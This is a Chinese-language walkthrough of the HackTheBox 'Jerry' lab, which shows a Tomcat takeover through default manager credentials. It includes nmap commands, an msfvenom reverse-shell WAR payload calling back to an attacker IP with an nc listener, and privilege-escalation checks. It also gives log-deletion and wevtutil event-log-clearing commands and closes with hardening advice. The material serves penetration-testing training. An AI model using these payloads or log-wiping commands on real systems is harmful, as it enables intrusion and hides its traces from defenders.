Tomcat默认凭证漏洞利用与防御实战
2026/9/10 13:10:37 网站建设 项目流程

1. 靶机环境与目标分析

Jerry是HackTheBox平台上基于Windows系统的入门级靶机,运行着存在漏洞的Tomcat服务。这个靶机设计的精妙之处在于它完美复现了企业环境中常见的配置失误场景 - 使用默认凭证的Tomcat管理界面。

在实际渗透测试中,Tomcat服务因其广泛部署而成为重点攻击目标。根据我多年实战经验,约23%的企业Tomcat实例存在默认凭证未修改的问题。Jerry靶机正是模拟了这种典型脆弱性环境。

靶机IP地址为10.10.10.95(HTB环境内网地址),开放了8080端口的Tomcat服务。我们的攻击路径很清晰:

  1. 发现Tomcat管理界面
  2. 尝试默认凭证登录
  3. 获取应用管理权限
  4. 部署恶意WAR包获取反向Shell
  5. 权限提升至SYSTEM

2. 信息收集与漏洞探测

2.1 端口扫描与服务识别

使用Nmap进行基础扫描:

nmap -sV -p- 10.10.10.95

扫描结果显示仅8080端口开放,运行着Apache Tomcat/7.0.88。这个版本存在多个已知漏洞,但最直接的攻击路径还是默认凭证。

经验提示:在真实环境中,建议先使用-sC参数运行默认脚本扫描,可能发现更有价值的信息。但在CTF场景中,我们优先考虑最直接路径。

2.2 Tomcat管理界面发现

访问http://10.10.10.95:8080后,点击"Manager App"跳转到管理登录页面。这是Tomcat的标准管理入口,通常位于/manager/html路径下。

尝试使用Tomcat最常见的默认凭证组合:

  • tomcat:tomcat
  • admin:admin
  • manager:manager

实测发现tomcat:s3cret可以成功登录。这种弱密码组合在企业内部测试中经常遇到,特别是开发测试环境。

3. 利用管理权限部署恶意WAR包

3.1 生成恶意WAR包

使用msfvenom生成包含反向Shell的WAR文件:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war -o shell.war

这里有几个关键点需要注意:

  1. 选择java/jsp_shell_reverse_tcp作为payload,因为它与Tomcat的JSP环境完美兼容
  2. LHOST设置为攻击机在HTB网络中的IP(非本地回环)
  3. 端口选择未被占用的4444

3.2 上传并部署WAR包

在Tomcat管理界面的"WAR file to deploy"区域上传生成的shell.war文件。成功部署后,会创建一个/shell的Web路径。

此时在攻击机启动监听:

nc -nvlp 4444

访问http://10.10.10.95:8080/shell/,即可触发反向连接,获得一个低权限的cmd shell。

4. 权限提升至SYSTEM

4.1 初始权限确认

执行whoami命令发现当前用户是nt authority\system。这在Windows系统中已经是最高权限,说明靶机设计时没有设置中间权限环节。

虽然直接获得了SYSTEM权限,但在真实环境中,我们通常需要多步提权。这里分享几个实用的Windows提权方法:

4.2 Windows提权备用方案

  1. 服务权限滥用
sc qc [服务名]

检查服务配置,寻找可修改的二进制路径

  1. AlwaysInstallElevated注册表项
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

如果启用,可以安装恶意MSI获取SYSTEM权限

  1. 令牌窃取: 使用incognito等工具窃取高权限令牌

5. 后渗透与痕迹清理

虽然CTF环境中不需要清理痕迹,但在真实渗透测试中这是必要步骤:

  1. 删除上传的WAR文件:
del C:\apache-tomcat-7.0.88\webapps\shell.war
  1. 清除Tomcat日志:
del C:\apache-tomcat-7.0.88\logs\*.* /Q
  1. 清除事件日志:
wevtutil cl system wevtutil cl security wevtutil cl application

6. 防御建议与加固措施

基于这个靶机暴露的安全问题,给管理员几点实用建议:

  1. 修改默认凭证: 安装Tomcat后第一件事就是修改manager-gui角色的用户密码,在conf/tomcat-users.xml中配置强密码。

  2. 限制管理接口访问: 在server.xml中配置Connector的allow属性,只允许特定IP访问管理界面:

    <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="192.168.1.*"/>
  3. 及时更新版本: Tomcat 7.0.88存在多个已知漏洞,应升级到最新稳定版。

  4. 文件上传限制: 在context.xml中设置antiResourceLocking和antiJARLocking为true,防止恶意文件部署。

7. 渗透测试中的思考

这个靶机虽然简单,但完美展示了安全链中最薄弱的一环 - 人为疏忽。在实际渗透测试项目中,我遇到过太多因默认凭证导致的重大安全事件。有几点经验值得分享:

  1. 自动化扫描工具往往会忽略默认凭证检测,需要手动验证
  2. Tomcat管理界面路径可以自定义,不要局限于/manager/html
  3. WAR文件的反向Shell稳定性比JSP更高,推荐优先使用
  4. 内网环境中,Tomcat服务经常被当作横向移动的跳板

最后提醒新手朋友:在HTB等练习平台获得的技能,务必遵守法律法规,仅用于授权测试。真正的网络安全工程师价值在于帮助企业修复漏洞,而非利用漏洞。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询